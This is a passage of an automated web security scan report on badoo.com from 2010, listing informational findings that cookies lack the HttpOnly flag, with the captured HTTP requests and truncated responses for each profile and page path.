Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.8. http://badoo.com/02311783/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/02311783/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:50:15 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /02311783/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.9. http://badoo.com/041636801/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/041636801/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

8.10. http://badoo.com/09303027/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/09303027/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:50:32 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /09303027/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.11. http://badoo.com/093407644/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/093407644/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:53:40 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /093407644/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.12. http://badoo.com/096807871/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/096807871/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:49:48 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /096807871/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.13. http://badoo.com/2rcabrera/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/2rcabrera/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:49:58 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /2rcabrera/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.14. http://badoo.com/aammetys/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/aammetys/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:51:16 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /aammetys/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.15. http://badoo.com/about/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/about/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:54:01 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /about/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.16. http://badoo.com/andresitopapito/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/andresitopapito/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:52:48 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /andresitopapito/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.17. http://badoo.com/association/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/association/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:53:31 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /association/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.18. http://badoo.com/dating/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/dating/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:53:59 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /dating/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.19. http://badoo.com/dinoitalia/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/dinoitalia/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:49:48 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /dinoitalia/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:49:49 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:49:48 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5053

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...

8.20. http://badoo.com/directory/people/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/directory/people/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:54:44 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /directory/people/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 302 Moved
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Date: Tue, 09 Nov 2010 15:54:45 GMT
Pragma: no-cache
Cache-control: private
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:44 GMT; path=/; domain=.badoo.com
Location: http://badoo.com/directory/people/en/
Content-Length: 365

<html>
<head>
<title>Status 302 - document moved</title>
<meta http-equiv="Refresh" content="0; url=http://badoo.com/directory/people/en/">
</head>
<body bgcolor="#ffffff" text="#000000" link="
...[SNIP]...

8.21. http://badoo.com/doritos699/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/doritos699/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 16:20:29 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

8.22. http://badoo.com/facebook/auth.phtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/facebook/auth.phtml

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:53:42 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /facebook/auth.phtml HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 302 Moved
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Date: Tue, 09 Nov 2010 15:53:43 GMT
Pragma: no-cache
Cache-control: private
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:42 GMT; path=/; domain=.badoo.com
Location: https://www.facebook.com/login.php?api_key=107433747809&cancel_url=http%3A%2F%2Fbadoo.com%2Ffacebook%2Fcancel.phtml&display=popup&fbconnect=1&next=http%3A%2F%2Fbadoo.com%2Ffacebook%2Fauth.phtml&return_session=1&session_version=3&v=1.0
Content-Length: 956

<html>
<head>
<title>Status 302 - document moved</title>
<meta http-equiv="Refresh" content="0; url=https://www.facebook.com/login.php?api_key=107433747809&cancel_url=http%3A%2F%2Fbadoo.com%2Ffac
...[SNIP]...

8.23. http://badoo.com/geer/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/geer/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:50:55 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /geer/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:50:56 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:55 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 10310

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...

8.24. http://badoo.com/guidelines/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/guidelines/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:54:23 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /guidelines/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.25. http://badoo.com/help/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/help/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:54:58 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /help/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.26. http://badoo.com/import/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/import/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:53:45 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:46 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:45 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 20378

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id
...[SNIP]...

8.27. http://badoo.com/karliitaalaniis/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/karliitaalaniis/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:49:59 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /karliitaalaniis/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:50:00 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:49:59 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 12935

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...

8.28. http://badoo.com/languages/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/languages/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:49:35 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /languages/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.29. http://badoo.com/lucasdimedio/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/lucasdimedio/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:50:32 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /lucasdimedio/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.30. http://badoo.com/nelsua/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/nelsua/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:51:35 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /nelsua/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.31. http://badoo.com/privacy/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/privacy/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:54:14 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /privacy/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.32. http://badoo.com/pronico/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/pronico/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:51:12 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pronico/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.33. http://badoo.com/signin/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/signin/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:50:03 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

8.34. http://badoo.com/signup/ previous next

Summary

Severity:	Information
Confidence:	Certain
